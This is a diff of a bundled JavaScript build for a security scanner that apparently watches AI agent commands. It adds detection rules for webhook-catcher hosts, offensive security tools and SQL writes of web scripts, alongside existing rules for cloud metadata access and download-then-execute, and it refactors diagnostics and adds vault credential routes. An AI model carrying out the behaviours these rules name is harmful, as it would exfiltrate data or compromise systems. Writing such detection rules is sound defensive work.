specVersion: 1,
|
|
@@ -29208,13 +29368,15 @@ var BUNDLED_PACKS = [
|
|
|
29208
29368
|
cloud_metadata_access_default,
|
|
29209
29369
|
object_storage_file_upload_default,
|
|
29210
29370
|
agent_probe_host_default,
|
|
29211
|
-
unshare_user_namespace_default
|
|
29371
|
+
unshare_user_namespace_default,
|
|
29372
|
+
oast_c2_host_default
|
|
29212
29373
|
],
|
|
29213
29374
|
shortNames: {
|
|
29214
29375
|
"agent-egress/cloud-metadata-access": "Cloud metadata access",
|
|
29215
29376
|
"agent-egress/object-storage-file-upload": "Object storage file upload",
|
|
29216
29377
|
"agent-egress/agent-probe-host": "Agent probe host",
|
|
29217
|
-
"agent-egress/unshare-user-namespace": "User namespace unshare"
|
|
29378
|
+
"agent-egress/unshare-user-namespace": "User namespace unshare",
|
|
29379
|
+
"agent-egress/oast-c2-host": "Webhook-catcher host"
|
|
29218
29380
|
}
|
|
29219
29381
|
},
|
|
29220
29382
|
{
|
|
@@ -29325,7 +29487,9 @@ var BUNDLED_PACKS = [
|
|
|
29325
29487
|
object_storage_upload_default,
|
|
29326
29488
|
alibaba_oss_host_default,
|
|
29327
29489
|
download_then_execute_default,
|
|
29328
|
-
recon_then_egress_default
|
|
29490
|
+
recon_then_egress_default,
|
|
29491
|
+
offensive_security_tool_default,
|
|
29492
|
+
sql_log_webshell_default
|
|
29329
29493
|
],
|
|
29330
29494
|
shortNames: {
|
|
29331
29495
|
"command-risk/pkill-broad": "Broad pkill",
|
|
@@ -29340,7 +29504,9 @@ var BUNDLED_PACKS = [
|
|
|
29340
29504
|
"command-risk/object-storage-upload": "Object storage upload",
|
|
29341
29505
|
"command-risk/alibaba-oss-host": "Alibaba OSS host",
|
|
29342
29506
|
"command-risk/download-then-execute": "Download then execute",
|
|
29343
|
-
"command-risk/recon-then-egress": "Recon with egress"
|
|
29507
|
+
"command-risk/recon-then-egress": "Recon with egress",
|
|
29508
|
+
"command-risk/offensive-security-tool": "Offensive security tool",
|
|
29509
|
+
"command-risk/sql-log-webshell": "SQL write of a web script"
|
|
29344
29510
|
}
|
|
29345
29511
|
},
|
|
29346
29512
|
{
|
|
@@ -29576,6 +29742,23 @@ function contentHashOf(text) {
|
|
|
29576
29742
|
return createHash9("sha256").update(text).digest("hex");
|
|
29577
29743
|
}
|
|
29578
29744
|
|
|
29745
|
+
// ../../packages/plugin-sdk/src/diagnostics.ts
|
|
29746
|
+
function writeDiagnosticToStderr(line) {
|
|
29747
|
+
process.stderr.write(`${line}
|
|
29748
|
+
`);
|
|
29749
|
+
}
|
|
29750
|
+
function diagnosticWriter(sink) {
|
|
29751
|
+
if (sink === void 0) return writeDiagnosticToStderr;
|
|
29752
|
+
return (line) => {
|
|
29753
|
+
try {
|
|
29754
|
+
const call = sink;
|
|
29755
|
+
const returned = call(line);
|
|
29756
|
+
if (returned !== void 0) Promise.resolve(returned).catch(() => void 0);
|
|
29757
|
+
} catch {
|
|
29758
|
+
}
|
|
29759
|
+
};
|
|
29760
|
+
}
|
|
29761
|
+
|
|
29579
29762
|
// ../../packages/plugin-sdk/src/isolated-scan.ts
|
|
29580
29763
|
import { existsSync as existsSync8 } from "fs";
|
|
29581
29764
|
import { fileURLToPath } from "url";
|
|
@@ -29585,6 +29768,47 @@ var ISOLATED_PROBE_BUDGET_MS = 1e3;
|
|
|
29585
29768
|
var ISOLATED_START_BUDGET_MS = 5e3;
|
|
29586
29769
|
var ATTRIBUTION_MIN_RULE_MS = 500;
|
|
29587
29770
|
var ATTRIBUTION_MIN_SHARE = 0.5;
|
|
29771
|
+
function buildIsolatedScanner(factory, data, opts) {
|
|
29772
|
+
let built;
|
|
29773
|
+
try {
|
|
29774
|
+
built = factory(data, opts);
|
|
29775
|
+
} catch (error2) {
|
|
29776
|
+
const failure2 = {
|
|
29777
|
+
status: "unavailable",
|
|
29778
|
+
reason: messageOf(error2)
|
|
29779
|
+
};
|
|
29780
|
+
return {
|
|
29781
|
+
scan: () => Promise.resolve(failure2),
|
|
29782
|
+
probe: () => Promise.resolve(failure2),
|
|
29783
|
+
close: () => Promise.resolve()
|
|
29784
|
+
};
|
|
29785
|
+
}
|
|
29786
|
+
return {
|
|
29787
|
+
scan: (text, context, jobOpts) => settleOutcome(() => built.scan(text, context, jobOpts)),
|
|
29788
|
+
probe: (rule) => settleOutcome(() => built.probe(rule)),
|
|
29789
|
+
async close() {
|
|
29790
|
+
try {
|
|
29791
|
+
await built.close();
|
|
29792
|
+
} catch {
|
|
29793
|
+
}
|
|
29794
|
+
}
|
|
29795
|
+
};
|
|
29796
|
+
}
|
|
29797
|
+
var OUTCOME_STATUSES = {
|
|
29798
|
+
ok: true,
|
|
29799
|
+
timeout: true,
|
|
29800
|
+
unavailable: true
|
|
29801
|
+
};
|
|
29802
|
+
async function settleOutcome(run) {
|
|
29803
|
+
let outcome;
|
|
29804
|
+
try {
|
|
29805
|
+
outcome = await run();
|
|
29806
|
+
} catch (error2) {
|
|
29807
|
+
return { status: "unavailable", reason: messageOf(error2) };
|
|
29808
|
+
}
|
|
29809
|
+
const status = outcome?.status;
|
|
29810
|
+
return typeof status === "string" && Object.hasOwn(OUTCOME_STATUSES, status) ? outcome : { status: "unavailable", reason: "the scanner answered no outcome" };
|
|
29811
|
+
}
|
|
29588
29812
|
var resolvedWorkerUrl;
|
|
29589
29813
|
function resolveWorkerUrl() {
|
|
29590
29814
|
if (resolvedWorkerUrl !== void 0) return resolvedWorkerUrl ?? void 0;
|
|
@@ -29873,12 +30097,11 @@ function ruleProbeKey(rule) {
|
|
|
29873
30097
|
if (rule.matcher.type !== "regex") return void 0;
|
|
29874
30098
|
return contentHashOf(`${rule.matcher.pattern} ${rule.matcher.flags}`);
|
|
29875
30099
|
}
|
|
29876
|
-
function warn(rule, verb, detail, recoverable) {
|
|
30100
|
+
function warn(rule, verb, detail, recoverable, write) {
|
|
29877
30101
|
const hint = recoverable ? ` (${UNQUARANTINE_HINT})` : "";
|
|
29878
|
-
|
|
29879
|
-
`);
|
|
30102
|
+
write(`[aka] ${verb} rule "${rule.id}": ${detail}${hint}`);
|
|
29880
30103
|
}
|
|
29881
|
-
async function quarantineRule(gateway, rule, worstMs, detail) {
|
|
30104
|
+
async function quarantineRule(gateway, rule, worstMs, detail, diagnostics) {
|
|
29882
30105
|
const key = ruleProbeKey(rule);
|
|
29883
30106
|
let cached2 = false;
|
|
29884
30107
|
if (key !== void 0) {
|
|
@@ -29888,22 +30111,24 @@ async function quarantineRule(gateway, rule, worstMs, detail) {
|
|
|
29888
30111
|
} catch {
|
|
29889
30112
|
}
|
|
29890
30113
|
}
|
|
29891
|
-
warn(rule, "quarantined", detail, cached2);
|
|
30114
|
+
warn(rule, "quarantined", detail, cached2, diagnosticWriter(diagnostics));
|
|
29892
30115
|
}
|
|
29893
30116
|
|
|
29894
30117
|
// ../../packages/plugin-sdk/src/guarded-scan.ts
|
|
29895
30118
|
var DEFAULT_DEGRADE_SCOPE = "the rest of this process";
|
|
29896
|
-
function warnDegraded(scope, dropped, detail) {
|
|
29897
|
-
|
|
29898
|
-
`[aka] isolated scanning is off for ${scope}: ${detail}. ${String(dropped)} pulled/custom-pack rule(s) are excluded; the built-in packs still run
|
|
29899
|
-
`
|
|
30119
|
+
function warnDegraded(write, scope, dropped, detail) {
|
|
30120
|
+
write(
|
|
30121
|
+
`[aka] isolated scanning is off for ${scope}: ${detail}. ${String(dropped)} pulled/custom-pack rule(s) are excluded; the built-in packs still run.`
|
|
29900
30122
|
);
|
|
29901
30123
|
}
|
|
29902
|
-
function createGuardedScanner(partition, gateway, opts) {
|
|
30124
|
+
function createGuardedScanner(partition, gateway, opts, dependencies) {
|
|
29903
30125
|
const degradeScope = opts?.degradeScope ?? DEFAULT_DEGRADE_SCOPE;
|
|
30126
|
+
const factory = dependencies?.isolatedScanner ?? createIsolatedScanner;
|
|
30127
|
+
const buildIsolated = (data, options) => buildIsolatedScanner(factory, data, options);
|
|
30128
|
+
const write = diagnosticWriter(dependencies?.diagnostics);
|
|
29904
30129
|
const verified = partition.verified;
|
|
29905
30130
|
let unverified = partition.unverified;
|
|
29906
|
-
let isolated = unverified.length > 0 ?
|
|
30131
|
+
let isolated = unverified.length > 0 ? buildIsolated({ verified, unverified }, opts) : void 0;
|
|
29907
30132
|
let retired = false;
|
|
29908
30133
|
let bounded;
|
|
29909
30134
|
let boundedWarned = false;
|
|
@@ -29921,25 +30146,17 @@ function createGuardedScanner(partition, gateway, opts) {
|
|
|
29921
30146
|
retired = true;
|
|
29922
30147
|
await retire();
|
|
29923
30148
|
}
|
|
29924
|
-
async function attempt(active, text, context, attribute) {
|
|
29925
|
-
try {
|
|
29926
|
-
return await active.scan(text, context, { attribute });
|
|
29927
|
-
} catch (error2) {
|
|
29928
|
-
return {
|
|
29929
|
-
status: "unavailable",
|
|
29930
|
-
reason: error2 instanceof Error ? error2.message : "the scan worker failed unexpectedly"
|
|
29931
|
-
};
|
|
29932
|
-
}
|
|
29933
|
-
}
|
|
29934
30149
|
async function guardedScan(text, context) {
|
|
29935
30150
|
const active = isolated;
|
|
29936
30151
|
if (!active) return inProcess(text, context);
|
|
29937
|
-
let outcome = await
|
|
30152
|
+
let outcome = await active.scan(text, context, { attribute: false });
|
|
29938
30153
|
if (outcome.status === "ok") return outcome.findings;
|
|
29939
|
-
if (outcome.status === "timeout")
|
|
30154
|
+
if (outcome.status === "timeout")
|
|
30155
|
+
outcome = await active.scan(text, context, { attribute: true });
|
|
29940
30156
|
const dropped = unverified.length;
|
|
29941
30157
|
if (outcome.status === "ok") {
|
|
29942
30158
|
warnDegraded(
|
|
30159
|
+
write,
|
|
29943
30160
|
degradeScope,
|
|
29944
30161
|
dropped,
|
|
29945
30162
|
"a scan overran its bound once and no rule could be held responsible"
|
|
@@ -29955,16 +30172,18 @@ function createGuardedScanner(partition, gateway, opts) {
|
|
|
29955
30172
|
gateway,
|
|
29956
30173
|
culprit,
|
|
29957
30174
|
outcome.elapsedMs,
|
|
29958
|
-
`it did not finish within the ${outcome.elapsedMs.toFixed(0)}ms isolated-scan bound and was terminated; excluded from every later scan
|
|
30175
|
+
`it did not finish within the ${outcome.elapsedMs.toFixed(0)}ms isolated-scan bound and was terminated; excluded from every later scan.`,
|
|
30176
|
+
write
|
|
29959
30177
|
);
|
|
29960
30178
|
}
|
|
29961
30179
|
warnDegraded(
|
|
30180
|
+
write,
|
|
29962
30181
|
degradeScope,
|
|
29963
30182
|
dropped,
|
|
29964
30183
|
culprit ? `rule "${culprit.id}" had to be terminated mid-scan` : `a scan was terminated at the ${outcome.elapsedMs.toFixed(0)}ms bound and no single rule could be held responsible, so nothing was quarantined and the next process will try these rules again`
|
|
29965
30184
|
);
|
|
29966
30185
|
} else {
|
|
29967
|
-
warnDegraded(degradeScope, dropped, outcome.reason);
|
|
30186
|
+
warnDegraded(write, degradeScope, dropped, outcome.reason);
|
|
29968
30187
|
}
|
|
29969
30188
|
await degrade();
|
|
29970
30189
|
return inProcess(text, context);
|
|
@@ -29977,27 +30196,18 @@ function createGuardedScanner(partition, gateway, opts) {
|
|
|
29977
30196
|
} else if (remainingMs !== void 0 && !(remainingMs > 0)) {
|
|
29978
30197
|
outcome = { status: "timeout", culpritIndex: void 0, elapsedMs: 0 };
|
|
29979
30198
|
} else {
|
|
29980
|
-
bounded ??=
|
|
30199
|
+
bounded ??= buildIsolated({ verified, unverified }, opts);
|
|
29981
30200
|
const deadlineAt = remainingMs === void 0 ? void 0 : performance.now() + remainingMs;
|
|
29982
|
-
|
|
29983
|
-
|
|
29984
|
-
|
|
29985
|
-
|
|
29986
|
-
|
|
29987
|
-
});
|
|
29988
|
-
} catch (error2) {
|
|
29989
|
-
outcome = {
|
|
29990
|
-
status: "unavailable",
|
|
29991
|
-
reason: error2 instanceof Error ? error2.message : "the scan worker failed unexpectedly"
|
|
29992
|
-
};
|
|
29993
|
-
}
|
|
30201
|
+
outcome = await bounded.scan(text, context, {
|
|
30202
|
+
budgetMs: bound.budgetMs,
|
|
30203
|
+
startBudgetMs: bound.startBudgetMs,
|
|
30204
|
+
deadlineAt
|
|
30205
|
+
});
|
|
29994
30206
|
}
|
|
29995
30207
|
if (outcome.status !== "ok" && bound.refuses !== false && !boundedWarned) {
|
|
29996
30208
|
boundedWarned = true;
|
|
29997
|
-
|
|
29998
|
-
outcome.status === "timeout" ? `[aka] a large input could not be scanned within its time limit and was refused.
|
|
29999
|
-
` : `[aka] a large input could not be scanned and was refused: ${outcome.reason}.
|
|
30000
|
-
`
|
|
30209
|
+
write(
|
|
30210
|
+
outcome.status === "timeout" ? `[aka] a large input could not be scanned within its time limit and was refused.` : `[aka] a large input could not be scanned and was refused: ${outcome.reason}.`
|
|
30001
30211
|
);
|
|
30002
30212
|
}
|
|
30003
30213
|
return outcome;
|
|
@@ -30354,7 +30564,9 @@ var ROUTES = {
|
|
|
30354
30564
|
sightingKey: "/v1/sighting-key",
|
|
30355
30565
|
credentialSightings: "/v1/credential-sightings",
|
|
30356
30566
|
labels: "/v1/plugin/labels",
|
|
30357
|
-
sessions: "/v1/plugin/sessions"
|
|
30567
|
+
sessions: "/v1/plugin/sessions",
|
|
30568
|
+
vaultAvailable: "/v1/vault/available",
|
|
30569
|
+
vaultResolve: "/v1/vault/resolve"
|
|
30358
30570
|
};
|
|
30359
30571
|
function ackRoute(id) {
|
|
30360
30572
|
return `${ROUTES.commands}/${encodeURIComponent(id)}/ack`;
|
|
@@ -30555,6 +30767,25 @@ function createRemoteClient(options) {
|
|
|
30555
30767
|
const response = await send({ ...common, method: "GET", url: url2(route) });
|
|
30556
30768
|
if (response.status === 404) return { held: false };
|
|
30557
30769
|
return parsed(SessionHoldResponse, okBody(response), route);
|
|
30770
|
+
},
|
|
30771
|
+
async listAvailableCredentials() {
|
|
30772
|
+
const response = await send({ ...common, method: "GET", url: url2(ROUTES.vaultAvailable) });
|
|
30773
|
+
if (response.status === 404) throw new RemoteRouteAbsent(ROUTES.vaultAvailable);
|
|
30774
|
+
return parsed(AvailableCredentialsResponse, okBody(response), ROUTES.vaultAvailable);
|
|
30775
|
+
},
|
|
30776
|
+
async resolveCredentials(request) {
|
|
30777
|
+
const validated = ResolveCredentialsRequest.safeParse(request);
|
|
30778
|
+
if (!validated.success) {
|
|
30779
|
+
throw new RemoteRequestInvalid(ROUTES.vaultResolve, validated.error);
|
|
30780
|
+
}
|
|
30781
|
+
const response = await send({
|
|
30782
|
+
...common,
|
|
30783
|
+
method: "POST",
|
|
30784
|
+
url: url2(ROUTES.vaultResolve),
|
|
30785
|
+
body: JSON.stringify(validated.data)
|
|
30786
|
+
});
|
|
30787
|
+
if (response.status === 404) throw new RemoteRouteAbsent(ROUTES.vaultResolve);
|
|
30788
|
+
return parsed(ResolveCredentialsResponse, okBody(response), ROUTES.vaultResolve);
|
|
30558
30789
|
}
|
|
30559
30790
|
};
|
|
30560
30791
|
}
|
|
@@ -30581,6 +30812,9 @@ var StandaloneDataGateway = class {
|
|
|
30581
30812
|
ensureInventory(ctx) {
|
|
30582
30813
|
return Promise.resolve(this.db.ensureInventory(ctx));
|
|
30583
30814
|
}
|
|
30815
|
+
async recordAuditEvents(events) {
|
|
30816
|
+
for (const event of events) await this.recordAuditEvent(event);
|
|
30817
|
+
}
|
|
30584
30818
|
recordAuditEvent(event) {
|
|
30585
30819
|
if (event.rootSessionId !== void 0 && event.rootSessionId !== event.id) {
|
|
30586
30820
|
this.db.auditEvents.ensureSessionRoot(event.rootSessionId, event.startedAt);
|
|
@@ -32278,6 +32512,9 @@ import { spawn as spawn2 } from "child_process";
|
|
|
32278
32512
|
import { fileURLToPath as fileURLToPath3 } from "url";
|
|
32279
32513
|
var SYNC_THROTTLE_MS = 15 * 60 * 1e3;
|
|
32280
32514
|
|
|
32515
|
+
// ../../packages/plugin-runtime/src/attached/vault-credentials.ts
|
|
32516
|
+
import { dirname as dirname8 } from "path";
|
|
32517
|
+
|
|
32281
32518
|
// ../../packages/plugin-runtime/src/content-retention-pass.ts
|
|
32282
32519
|
var MAX_ROWS_PER_SWEEP = 50 * 1e3;
|
|
32283
32520
|
|
|
@@ -32290,7 +32527,7 @@ var CONTENT_RETENTION_THROTTLE_MS = 60 * 60 * 1e3;
|
|
|
32290
32527
|
import { randomUUID as randomUUID20 } from "crypto";
|
|
32291
32528
|
|
|
32292
32529
|
// ../../packages/plugin-runtime/src/attached/forwarding-line.ts
|
|
32293
|
-
import { dirname as
|
|
32530
|
+
import { dirname as dirname9 } from "path";
|
|
32294
32531
|
|
|
32295
32532
|
// ../../packages/plugin-runtime/src/handle-session-start.ts
|
|
32296
32533
|
var EXCEPTION_RETENTION_MS = 90 * 24 * 60 * 60 * 1e3;
|